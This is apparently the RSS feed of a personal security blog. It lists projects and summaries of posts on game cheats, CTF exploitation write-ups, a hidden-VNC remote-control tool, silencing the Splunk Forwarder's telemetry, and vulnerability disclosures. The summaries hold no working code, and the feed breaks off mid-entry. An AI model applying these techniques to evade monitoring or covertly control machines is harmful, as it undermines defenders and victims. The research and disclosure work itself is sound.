<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>BananaMafia</title>
    <link>https://bananamafia.dev/</link>
    <description>Recent content on BananaMafia</description>
    <generator>Hugo</generator>
    <language>en-us</language>
    <lastBuildDate>Wed, 22 Oct 2025 00:00:00 +0000</lastBuildDate>
    <atom:link href="https://bananamafia.dev/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Automotive Security Research</title>
      <link>https://bananamafia.dev/project/autosec/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/project/autosec/</guid>
      <description></description>
    </item>
    <item>
      <title>Awesome Talks</title>
      <link>https://bananamafia.dev/project/talks/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/project/talks/</guid>
      <description></description>
    </item>
    <item>
      <title>Bananabot: CS:GO Multihack</title>
      <link>https://bananamafia.dev/project/bananabot/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/project/bananabot/</guid>
      <description></description>
    </item>
    <item>
      <title>CANalyzat0r</title>
      <link>https://bananamafia.dev/project/canalyzat0r/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/project/canalyzat0r/</guid>
      <description>&lt;p&gt;&lt;marquee style=&#34;text-align:center&#34;&gt;Please find CANalyzat0r &lt;a href=&#34;https://github.com/schutzwerk/CANalyzat0r&#34;&gt;here on GitHub&lt;/a&gt; :) &lt;/marquee&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Crypt0r</title>
      <link>https://bananamafia.dev/project/crypt0r/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/project/crypt0r/</guid>
      <description></description>
    </item>
    <item>
      <title>Dockerfiles</title>
      <link>https://bananamafia.dev/project/dockerfiles/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/project/dockerfiles/</guid>
      <description></description>
    </item>
    <item>
      <title>haxxor-tools</title>
      <link>https://bananamafia.dev/project/haxxor-tools/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/project/haxxor-tools/</guid>
      <description></description>
    </item>
    <item>
      <title>Linux Containers Research</title>
      <link>https://bananamafia.dev/project/containers/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/project/containers/</guid>
      <description></description>
    </item>
    <item>
      <title>mitm-fuzz0r</title>
      <link>https://bananamafia.dev/project/mitmfuzz0r/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/project/mitmfuzz0r/</guid>
      <description></description>
    </item>
    <item>
      <title>Official Cutter Docker Configuration</title>
      <link>https://bananamafia.dev/project/cutter-docker/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/project/cutter-docker/</guid>
      <description></description>
    </item>
    <item>
      <title>pwntools-r2</title>
      <link>https://bananamafia.dev/project/pwntools-r2/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/project/pwntools-r2/</guid>
      <description></description>
    </item>
    <item>
      <title>Q3 Engine Multihack</title>
      <link>https://bananamafia.dev/project/jka-multihack/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/project/jka-multihack/</guid>
      <description></description>
    </item>
    <item>
      <title>RandomJK</title>
      <link>https://bananamafia.dev/project/randomjk/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/project/randomjk/</guid>
      <description></description>
    </item>
    <item>
      <title>Reinschauer</title>
      <link>https://bananamafia.dev/project/reinschauer/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/project/reinschauer/</guid>
      <description></description>
    </item>
    <item>
      <title>Game Hacking #6: Cheating on Console with Lua</title>
      <link>https://bananamafia.dev/post/ps2ps4/</link>
      <pubDate>Wed, 22 Oct 2025 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/ps2ps4/</guid>
      <description>&lt;h1 id=&#34;cheating-in-ps2-games-with-lua&#34;&gt;Cheating in PS2 Games with Lua&lt;/h1&gt;&#xA;&lt;p&gt;After jailbreaking my PS4, I searched for a way to play some PS2 games on it. Since HDMI ports are not available on stock PS2s, the obvious solution would be to emulate the games on a PS4.&lt;/p&gt;&#xA;&lt;p&gt;Years ago, the PS4 homebrew community already &lt;a href=&#34;https://www.psdevwiki.com/ps4/PS2_Emulation#Emulators&#34;&gt;found ways&lt;/a&gt; to emulate many PS2 games on the console. The main method involves an emulator that was originally developed for the game &lt;em&gt;Jak and Daxter&lt;/em&gt; called &lt;em&gt;Jak v2&lt;/em&gt;. This emulator can be repurposed to emulate many other PS2 titles on the PS4. This can be done manually with some effort, but the tool &lt;a href=&#34;https://www.psx-place.com/threads/release-ps2-fpkg-v0-7-beta-a-complete-rewrite-of-my-ps2-to-ps4-converter.41916/&#34;&gt;PS2FPKG&lt;/a&gt; already handles all of the hard stuff. Only a game ISO is required for it to generate a package that is ready to be installed on a jailbroken PS4.&lt;/p&gt;</description>
    </item>
    <item>
      <title>37C3 CTF: ezrop</title>
      <link>https://bananamafia.dev/post/37c3ctf/</link>
      <pubDate>Sun, 31 Dec 2023 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/37c3ctf/</guid>
      <description>&lt;center&gt;&#xA;&lt;img style=&#34;--img-shadow: rgba(0, 0, 0, 0)&#34; src=&#34;https://bananamafia.dev/img/37c3ctf/logo.png&#34;&gt;&#xA;&lt;/center&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;This is a writeup for the 37C3 CTF challenge &lt;code&gt;ezrop&lt;/code&gt; with the following description: &lt;code&gt;Pretty standard ret2libc pwn challenge.&lt;/code&gt;. A binary with partial RELRO, no PIC and no canary was given, along with the &lt;code&gt;libc&lt;/code&gt; that&amp;rsquo;s deployed on the target server. This writeup shows how to solve the challenge using &lt;code&gt;r2&lt;/code&gt; and &lt;a href=&#34;https://github.com/ps1337/pwntools-r2&#34;&gt;pwntools-r2&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Triggering the buffer overflow vulnerability is straight forward: Passing a long string causes a segmentation fault in the function &lt;code&gt;vuln()&lt;/code&gt;. This function calls &lt;code&gt;printf()&lt;/code&gt; for a prompt and then proceeds to read input using &lt;code&gt;gets()&lt;/code&gt; into a buffer that&amp;rsquo;s too small. Next, an information leak of a &lt;code&gt;libc&lt;/code&gt; address is required to move forward. Only few ROP gadgets exist and the plan is to somehow call &lt;code&gt;system()&lt;/code&gt; with &lt;code&gt;/bin/sh&lt;/code&gt; as argument. To predict the address of &lt;code&gt;system()&lt;/code&gt;, the information leak is required.&lt;/p&gt;</description>
    </item>
    <item>
      <title>BinaryGolf 2023: Building A GameBoy-Bash Polyglot</title>
      <link>https://bananamafia.dev/post/binarygolf23/</link>
      <pubDate>Wed, 13 Sep 2023 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/binarygolf23/</guid>
      <description>&lt;p&gt;In the &lt;a href=&#34;https://binary.golf/&#34;&gt;BinaryGolf&lt;/a&gt; competition, specific file related problems have to be solved with the least amount of bytes. This was the challenge for the 2023 edition:&lt;/p&gt;&#xA;&lt;center&gt;&#xA;&lt;img src=&#34;https://bananamafia.dev/img/binarygolf23/task.png&#34;&gt;&#xA;&lt;/center&gt;&#xA;&lt;p&gt;Me and &lt;a href=&#34;https://github.com/blenk92&#34;&gt;some other guy&lt;/a&gt; decided to go for a GameBoy ROM with an embedded bash script, since old file formats like game ROMs are quite interesting. In the end, we came up with such a polyglot file that met all criteria of the challenge and was 397 bytes in size. This is a short demo of it:&lt;/p&gt;</description>
    </item>
    <item>
      <title>ShhPlunk: Muting the Splunk Forwarder</title>
      <link>https://bananamafia.dev/post/shhplunk/</link>
      <pubDate>Mon, 15 May 2023 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/shhplunk/</guid>
      <description>&lt;p&gt;Many organizations rely on Splunk and its Splunk Forwarder to deliver event data as a sole source of telemetry. For quite some time, I&amp;rsquo;ve wondered if it&amp;rsquo;s possible to mute the Splunk Forwarder&amp;rsquo;s &lt;code&gt;splunkd&lt;/code&gt; process, so that no event data reaches the respective endpoint. Technically, this should be possible, once the required privileges are granted on a system. Therefore, I&amp;rsquo;ve decided to take a look at this. While Splunk Forwarder is available for various platforms, I&amp;rsquo;ve targeted the Linux version. This means that you need permissions to &lt;code&gt;ptrace&lt;/code&gt; the &lt;code&gt;splunkd&lt;/code&gt; process to be able to do any modifications.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Game Hacking #5: Hacking Walls and Particles</title>
      <link>https://bananamafia.dev/post/cs-aimbot-wallhax/</link>
      <pubDate>Sun, 23 Apr 2023 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/cs-aimbot-wallhax/</guid>
      <description>&lt;p&gt;Hello fellow Wallhackers, NoSmokers and Copy-Pasters. Today, I&amp;rsquo;ll write about implementing several cool cheat features for your favorite game, CS:GO. There may be many articles like this, but this one is mine :)&lt;/p&gt;&#xA;&lt;p&gt;First, of all I recommend checking out my previous posts covering several aspects and internals of CS:GO before reading this. I&amp;rsquo;ve got posts about &lt;a href=&#34;https://bananamafia.dev/post/bananabot/&#34;&gt;Aimbots and NoFlash&lt;/a&gt;, as well as &lt;a href=&#34;https://bananamafia.dev/post/d3dhook/&#34;&gt;Direct3D hooks&lt;/a&gt; that will serve as a basis for this post.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Reinschauer: Remotely Controlling Windows Machines</title>
      <link>https://bananamafia.dev/post/reinschauer/</link>
      <pubDate>Tue, 27 Sep 2022 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/reinschauer/</guid>
      <description>&lt;p&gt;Recently, I did some research on &lt;a href=&#34;https://www.malwaretech.com/2015/09/hidden-vnc-for-beginners.html&#34;&gt;Hidden VNCs&lt;/a&gt; (&lt;em&gt;HVNC&lt;/em&gt;). This is a neat feature for attackers to have, since it allows to remotely control a compromised system on a new and separate virtual desktop that is not visible to the victim. This way, it is possible to remotely launch and use GUI programs without generating any visual indicators for victims.&lt;/p&gt;&#xA;&lt;p&gt;Implementing HVNC is complicated. First of all, you need to be able to grab the screen contents of the hidden desktop. On Windows, there are no APIs available to do this easily. You can only take screenshots of the default desktop, which is the one a potential victim is operating on. You rather have to use something like &lt;code&gt;EnumDesktopWindows()&lt;/code&gt; to get a list of windows present on the hidden desktop and use another API call to get the window contents. In case that works: Great. But sometimes it just doesn&amp;rsquo;t because some developer didn&amp;rsquo;t care about implementing the functionality required to grab screen contents (&lt;code&gt;WM_PRINT&lt;/code&gt;, for example). On top of that, you have to do all of that in the correct order, since windows are often layered on top of each other. Sending input to a specific window is quite another thing: On the regular desktop you can just use &lt;code&gt;SendInput()&lt;/code&gt; and coordinates to simulate a click. On a hidden desktop, this API cannot be used as well. It is required to check what kind of GUI element a user clicks on, e.g. a close button, and send the correct message to the correct window. So, you ultimately have to implement your own window manager. Coooooooool :/&lt;/p&gt;</description>
    </item>
    <item>
      <title>Game Hacking #4: Cheating in Unity Games</title>
      <link>https://bananamafia.dev/post/frida-unity/</link>
      <pubDate>Mon, 09 May 2022 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/frida-unity/</guid>
      <description>&lt;p&gt;Yo!&lt;/p&gt;&#xA;&lt;p&gt;Do you know the game &lt;em&gt;Among Us&lt;/em&gt; ? It&amp;rsquo;s a multiplayer game where you have to identify impostors in a group of players. The impostor&amp;rsquo;s goal is to kill every other player without being identified throughout the game. The remaining players can use votes to kick out a specific player, while hopefully identifying the impostor correctly.&lt;/p&gt;&#xA;&lt;p&gt;The game is based on the Unity engine and, along with other platforms, it is available for Android devices. I&amp;rsquo;ve looked into the game and I thought it would be a great idea to identify the impostors right away and without having to guess. Let&amp;rsquo;s see how that can be done with Frida.&lt;/p&gt;</description>
    </item>
    <item>
      <title>This Weird YouTube Trick</title>
      <link>https://bananamafia.dev/post/yt/</link>
      <pubDate>Sat, 30 Apr 2022 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/yt/</guid>
      <description>&lt;p&gt;A while ago, I&amp;rsquo;ve found an &lt;a href=&#34;https://hackaday.com/2022/02/04/python-web-proxy-convinces-sonos-to-stream-youtube/&#34;&gt;article on Hackaday&lt;/a&gt;, describing how to stream arbitrary YouTube videos to Sonos systems. Before you ask: No, that&amp;rsquo;s not possible normally, at least not without a premium subscription.&lt;/p&gt;&#xA;&lt;p&gt;In the original article called &lt;em&gt;&lt;a href=&#34;https://www.deadf00d.com/post/how-i-hacked-sonos-and-youtube-the-same-day.html&#34;&gt;How I hacked SONOS and YouTube the same day&lt;/a&gt;&lt;/em&gt; (lol?????), the author described an approach to grab audio streams from YouTube and to convert them into ADTS streams on-the-fly to convince a Sonos device to play some YouTube music. For this, an MP3 radio station is created that Sonos uses as a source, all without the requirement to first download a video to disk and then streaming it to Sonos afterwards. Some parts seem rather complicated, such as manually parsing MP4 containers to extract AAC audio content. Also, there&amp;rsquo;s another issue: The author still didn&amp;rsquo;t release the full source code and also did not (yet?) release the announced mobile app to perform these tasks.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Advanced Painless Tofu – APT</title>
      <link>https://bananamafia.dev/recipe/apt/</link>
      <pubDate>Fri, 23 Jul 2021 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/recipe/apt/</guid>
      <description>&lt;center&gt;&#xA;&lt;img src=&#34;https://bananamafia.dev/img/recipe/apt/1.jpg&#34; width=&#34;60%&#34;&gt;&#xA;&lt;img src=&#34;https://bananamafia.dev/img/recipe/apt/2.jpg&#34; width=&#34;60%&#34;&gt;&#xA;&lt;p&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Props to &lt;a href=&#34;https://twitter.com/kawaiiconNZ&#34;&gt;kawaiicon&lt;/a&gt; for the illustrations.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/center&gt;</description>
    </item>
    <item>
      <title>Analysis of Satisfyer Toys: Discovering an Authentication Bypass with r2 and Frida</title>
      <link>https://bananamafia.dev/post/satisfyer/</link>
      <pubDate>Tue, 06 Jul 2021 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/satisfyer/</guid>
      <description>&lt;p&gt;There&amp;rsquo;s no good way to start a blog post like this, so let&amp;rsquo;s dive right in:&lt;/p&gt;&#xA;&lt;p&gt;Recently, I&amp;rsquo;ve re-discovered the &lt;a href=&#34;https://github.com/smealum/butthax&#34;&gt;butthax talk&lt;/a&gt; which covered security aspects of &lt;a href=&#34;https://lovense.com/&#34;&gt;Lovense&lt;/a&gt; devices. I&amp;rsquo;ve felt so inspired, that I&amp;rsquo;ve decided to buy some &lt;a href=&#34;https://www.satisfyer.com/de/&#34;&gt;Satisfyer&lt;/a&gt; devices and check out how they work.&lt;/p&gt;&#xA;&lt;p&gt;These are app-controllable toys that are sold globally, first and foremost in Germany and all over the EU. They have some pretty interesting functionality:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Control the device via Bluetooth using an &lt;a href=&#34;https://play.google.com/store/apps/details?id=com.satisfyer.connect&amp;amp;hl=de&amp;amp;gl=US&#34;&gt;Android app&lt;/a&gt;. According to the description it&amp;rsquo;s a &lt;em&gt;sexual joy and wellness app like no other&lt;/em&gt;. o_O&lt;/li&gt;&#xA;&lt;li&gt;Create an account, find new friends and exchange messages and images. Given the nature of this app, it&amp;rsquo;s quite interesting that Google Play allows everyone above &lt;em&gt;13&lt;/em&gt; to download and use this app. Well OK.&lt;/li&gt;&#xA;&lt;li&gt;Start remote sessions and allow random dudes from the Internet or your friends to control the Satisfyer.&lt;/li&gt;&#xA;&lt;li&gt;Perform software updates.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Throughout this post, I&amp;rsquo;ll shed some light on how various aspects of some of these features work. Most importantly, I&amp;rsquo;ve found an authentication bypass vulnerability that can result in an account takeover. This would have allowed me to forge authentication tokens for every user of the application.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Command Injection in LaTeX Workshop</title>
      <link>https://bananamafia.dev/post/tex/</link>
      <pubDate>Sat, 27 Feb 2021 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/tex/</guid>
      <description>&lt;p&gt;Welcome to another round of &lt;em&gt;Banana tweets and unintentionally makes people mad&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve had a look at some VS Code extensions that make use of shell commands with the goal to find a command injection vulnerability. For this, I&amp;rsquo;ve grepped for &lt;code&gt;child_process&lt;/code&gt;, since this is a &lt;a href=&#34;https://nodejs.org/api/child_process.html&#34;&gt;NodeJS API&lt;/a&gt; that&amp;rsquo;s commonly used to execute shell commands in VS Code.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ve quickly found various extensions that make use of this API. A vulnerability exists in case:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Haxxoring a Hisense Smart TV</title>
      <link>https://bananamafia.dev/post/hisensehax/</link>
      <pubDate>Mon, 15 Feb 2021 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/hisensehax/</guid>
      <description>&lt;p&gt;Instead of watching &lt;em&gt;The Bachelor&lt;/em&gt;, I&amp;rsquo;ve decided to take a look at the security of my Hisense smart TV. I&amp;rsquo;ve found a way to read arbitrary files from the file system. Also, (over)writing specific files, as well as installing malicious HTML5 applications was found to be possible. All of that can be performed from the web browser, using the custom JavaScript API that was implemented by the vendor.&lt;/p&gt;&#xA;&lt;p&gt;You can find some PoCs at the end of this blog post. As a bonus, you can visit this blog post with a Hisense TV and check if the device is affected or not.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Building a Cloudless UniFi Security System That Doesn&#39;t Suck</title>
      <link>https://bananamafia.dev/post/unifi/</link>
      <pubDate>Mon, 25 Jan 2021 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/unifi/</guid>
      <description>&lt;p&gt;If you&amp;rsquo;re like me (rich), it&amp;rsquo;s likely that you want to monitor and protect your ice and gold chainz with technical measures. Since &lt;a href=&#34;https://krebsonsecurity.com/tag/ubiquiti-breach/&#34;&gt;cloud based solutions are not an option&lt;/a&gt; for me, I&amp;rsquo;ve built a system that&amp;rsquo;s self-hosted. It&amp;rsquo;s based on my existing UniFi network setup, a UniFi camera and this software:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;UniFi Controller: This is used to manage all UniFi devices in a network.&lt;/li&gt;&#xA;&lt;li&gt;UniFi Network Video Recorder (NVR): This is a controller and video recording manager for UniFi cameras.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;All of this can be self-hosted without requiring any cloud connections. In fact, you can add some firewall rules to prevent any outbound connections and it will still work as expected.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Does This Syncthing Work?</title>
      <link>https://bananamafia.dev/post/syncthing-monitor/</link>
      <pubDate>Wed, 20 Jan 2021 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/syncthing-monitor/</guid>
      <description>&lt;p&gt;OK, so &lt;a href=&#34;https://github.com/syncthing/syncthing&#34;&gt;syncthing&lt;/a&gt; is cool for automatic synchronization and backups and all of that stuff. But there are also times when you open the web UI and notice that no data transfer has happened within the last two months. Nice!&lt;/p&gt;&#xA;&lt;p&gt;This is often caused by faulty &lt;em&gt;run conditions&lt;/em&gt; that can be set in the app or network errors. The syncthing server may also have some trouble, too. I&amp;rsquo;ve decided to create a little bot with the goal to monitor sync progress and to send out alerts in case of failure. I&amp;rsquo;m using a Telegram bot to get notified. In a previous post, I&amp;rsquo;ve described how to &lt;a href=&#34;https://bananamafia.dev/post/telegram-notifications/&#34;&gt;create such a Telegram bot&lt;/a&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Game Hacking #3: Hooking Direct3D EndScene()</title>
      <link>https://bananamafia.dev/post/d3dhook/</link>
      <pubDate>Thu, 04 Jun 2020 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/d3dhook/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve experimented with even moar game hacking and hooking techniques and you didn&amp;rsquo;t, so here comes another blog post.&lt;/p&gt;&#xA;&lt;p&gt;Today&amp;rsquo;s topic is about hooking a specific function of the &lt;a href=&#34;https://docs.microsoft.com/en-us/windows/win32/direct3d&#34;&gt;Direct3D&lt;/a&gt; library with the goal to cause Counter Strike: Global Offensive to draw additional things on the screen. There can be various reasons to do this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It&amp;rsquo;s possible to draw a crosshair on the screen when none is shown by the game. This allows players to &lt;a href=&#34;https://www.urbandictionary.com/define.php?term=360%20No%20Scope&#34;&gt;360 NoScope&lt;/a&gt; all the enemies without zooming in first&lt;/li&gt;&#xA;&lt;li&gt;Show additional information on the screen, for example an enemy&amp;rsquo;s health or the equipped weapon&lt;/li&gt;&#xA;&lt;li&gt;Also: Because why not&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;The function we want to hook is called &lt;code&gt;EndScene()&lt;/code&gt;. It&amp;rsquo;s being called to queue an already existing &lt;em&gt;scene&lt;/em&gt; for output. In the context of this blog post a &lt;em&gt;scene&lt;/em&gt; is equivalent to a frame and you can therefore say that &lt;code&gt;EndScene()&lt;/code&gt; is called once for each frame. Since this function is being executed &lt;em&gt;after&lt;/em&gt; a specific scene has been put together, it&amp;rsquo;s an ideal function to hook when adding additional content to the screen.&lt;/p&gt;</description>
    </item>
    <item>
      <title>SROP Exploitation with radare2</title>
      <link>https://bananamafia.dev/post/srop/</link>
      <pubDate>Sat, 11 Apr 2020 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/srop/</guid>
      <description>&lt;p&gt;Recently I&amp;rsquo;ve discovered a &lt;a href=&#34;https://cs.vu.nl/~herbertb/papers/srop_sp14.pdf&#34;&gt;paper&lt;/a&gt; that demonstrates a fancy ROP-style exploitation technique for Linux based systems. It&amp;rsquo;s called &lt;em&gt;Sigreturn-oriented programming&lt;/em&gt; (SROP) and was released by two dudes of the &lt;em&gt;Vrije Universiteit Amsterdam&lt;/em&gt; in 2014. This post contains background information on this exploitation technique and shows how to pull it off using &lt;code&gt;radare2&lt;/code&gt; and &lt;code&gt;pwntools&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h1 id=&#34;sigreturn-oriented-programming&#34;&gt;Sigreturn-Oriented Programming&lt;/h1&gt;&#xA;&lt;p&gt;The cool thing about this technique is that only one or two gadgets are required in order to get control over &lt;em&gt;all&lt;/em&gt; registers of the target process. Two preconditions have to be met:&lt;/p&gt;</description>
    </item>
    <item>
      <title>MemLabs: An Introduction To Memory Forensics</title>
      <link>https://bananamafia.dev/post/mem/</link>
      <pubDate>Mon, 23 Mar 2020 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/mem/</guid>
      <description>&lt;p&gt;Since you&amp;rsquo;re all isolated, grumpy and bored I&amp;rsquo;ve decided to create a little introduction to memory forensics. The test subject is the first stage of &lt;a href=&#34;https://github.com/stuxnet999/MemLabs&#34;&gt;MemLabs&lt;/a&gt;, a set of CTF challenges focused on memory forensics by &lt;a href=&#34;https://twitter.com/_abhiramkumar&#34;&gt;@_abhiramkumar&lt;/a&gt;. Each stage has its own memory dump that was taken from a live system using a tool like &lt;a href=&#34;https://www.aldeid.com/wiki/Dumpit&#34;&gt;DumpIt&lt;/a&gt;. The goal for the first stage of MemLabs is to obtain all three flags.&lt;/p&gt;&#xA;&lt;p&gt;Since we&amp;rsquo;re hip and cool, we&amp;rsquo;re using free and open source software for the analysis tasks. A very convenient and powerful tool for memory forensics is &lt;a href=&#34;https://github.com/volatilityfoundation/volatility&#34;&gt;volatility&lt;/a&gt;. It&amp;rsquo;s a Python based memory forensics framework for all kinds of memory analyses - just have a look at the huge list of available analysis commands. It&amp;rsquo;s under active development by the &lt;a href=&#34;https://www.volatilityfoundation.org/&#34;&gt;Volatility Foundation&lt;/a&gt;, which has shared some introductory words in the &lt;a href=&#34;https://github.com/volatilityfoundation/volatility/wiki&#34;&gt;wiki&lt;/a&gt;. Before you ask - yes it supports Windows, Linux and OSX memory dumps.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Fuzzing A GameBoy Emulator With AFL&#43;&#43;</title>
      <link>https://bananamafia.dev/post/gb-fuzz/</link>
      <pubDate>Fri, 21 Feb 2020 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/gb-fuzz/</guid>
      <description>&lt;p&gt;Recently I&amp;rsquo;ve started a little fuzzing project. After doing some &lt;a href=&#34;https://mgba.io/2016/09/13/fuzzing-emulators/&#34;&gt;research&lt;/a&gt;, I&amp;rsquo;ve decided to fuzz a gaming emulator. The target of choice is a GameBoy and GameBoy Advance emulator called &lt;a href=&#34;https://github.com/visualboyadvance-m/visualboyadvance-m&#34;&gt;VisualBoyAdvance-M&lt;/a&gt;, which is also called VBA-M. At the time of writing the emulator was still being maintained. VBA-M seems to be a fork of &lt;a href=&#34;https://github.com/x3ro/VisualBoyAdvance&#34;&gt;VisualBoyAdvance&lt;/a&gt;, for which development seems to have stopped in 2006.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Disclaimer: I&amp;rsquo;m publishing this blog post to share some fuzzing methodology and tooling and not to blame the developers. I&amp;rsquo;ve previously reported all my fuzzing discoveries to the developer team of VBA-M on GitHub.&lt;/em&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Exploiting A Use-After-Free With radare2 - CTF Challenge</title>
      <link>https://bananamafia.dev/post/uaf-1/</link>
      <pubDate>Wed, 15 Jan 2020 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/uaf-1/</guid>
      <description>&lt;p&gt;This writeup is about a 36C3 junior CTF challenge called &lt;code&gt;minifd&lt;/code&gt; which can be found &lt;a href=&#34;https://github.com/fkt/36c3-junior-ctf-pub/tree/master/minifd/distrib&#34;&gt;here&lt;/a&gt;. The goal is to find and exploit a user-after-free vulnerability in order to spawn a shell on the remote system. Here&amp;rsquo;s the challenge description:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;This is a simple file manager implementation supporting basic functionality to create, read, and write files.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Please note: This is a prototype implementation. At this point of time, only 16 files can be managed at the same time.&lt;/em&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>36C3 CTF Writeups</title>
      <link>https://bananamafia.dev/post/36c3ctf/</link>
      <pubDate>Mon, 30 Dec 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/36c3ctf/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://bananamafia.dev/img/36c3ctf/banner.png&#34; alt=&#34;36C3 CTF&#34;&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;1337-skills&#34;&gt;1337 skills&lt;/h1&gt;&#xA;&lt;p&gt;Task description:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;It’s too hard to gain all 1337 h4x0r skills required by nowadays CTFs ._.!&lt;/em&gt;&#xA;&lt;em&gt;I am glad a friendly hacker told me about an App he got during a (growth) hacking course.&lt;/em&gt;&#xA;&lt;em&gt;Sadly, he didn’t wrote down any activations codes.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Ready for your hacking exam?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;As can be read above, &lt;a href=&#34;https://play.google.com/store/apps/details?id=com.progressio.wildskills&#34;&gt;an Android app&lt;/a&gt; was given at the beginning of the challenge, with the hint to get a valid activation code for it.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Open Redirects In State Parameters</title>
      <link>https://bananamafia.dev/post/openredirect/</link>
      <pubDate>Tue, 17 Dec 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/openredirect/</guid>
      <description>&lt;p&gt;Now that the deadline to fix this vulnerability has passed, I&amp;rsquo;ve decided to publish this blog post that covers a web vulnerability I&amp;rsquo;ve found in the login mechanism of a particular company.&lt;/p&gt;&#xA;&lt;p&gt;Everything started when I had a look at a more complex part of a public web application of this vendor. The web application that gives out a link to the user that can be used to open up the same user state again at a later point. I&amp;rsquo;ve then opened this link from a private tab and examined the web requests in the Burp proxy.&lt;/p&gt;</description>
    </item>
    <item>
      <title>ROP on ARM with radare2</title>
      <link>https://bananamafia.dev/post/rop-arm-1/</link>
      <pubDate>Tue, 19 Nov 2019 00:00:00 +0000</pubDate>
      <guid>https://bananamafia.dev/post/rop-arm-1/</guid>
